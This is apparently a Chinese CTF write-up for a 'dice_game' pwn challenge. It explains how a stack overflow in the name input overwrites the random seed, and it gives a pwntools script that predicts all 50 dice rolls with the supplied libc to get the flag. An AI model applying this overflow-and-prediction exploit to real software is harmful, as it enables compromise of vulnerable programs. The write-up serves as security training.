下载附件之后获得两个文件,一个可执行文件和一个libc,初步理解要使用libc。
根据程序运行分析,程序应该是要求猜数字,连续答对50轮可获得flag。
从里面分析,可以看到程序的结构,while循环里面是猜数字的流程,一共50轮,并可以注意到18行设置了随机数的种子。
继续分析子函数sub_A20:
游戏环节,可以看到里面用到了随机数,然后用我们输入的数与随机数进行对比,相同则返回1,并继续游戏,不同则结束游戏。
如果持续胜利50轮则可以进入到sub_B28函数里面,拿到flag。
看着程序,时间函数以及内部的变量,联系上题目给了libc的版本,可以考虑模拟50轮的随机数操作完成程序拿到flag。至于随机数的种子,可以利用输入名字时将栈内随机数给覆盖掉,就可以操作随机数了。
from pwn import *
from ctypes import * #调用c的动态函数库,利用rand需要
#io = remote('111.198.29.45' ,42551)
io = process("./dice_game")
# 加载相应的libc版本,不同版本的rand函数效果可能不一样
libc = cdll.LoadLibrary("libc.so.6")
io.recv()
io.sendline('a'*0x40 + p64(0))
s = []
for i in range(50):
#生成随机数
s.append(libc.rand()%6+1)
print s
for i in range(50):
io.recv()
io.sendline(str(s[i]))
io.interactive()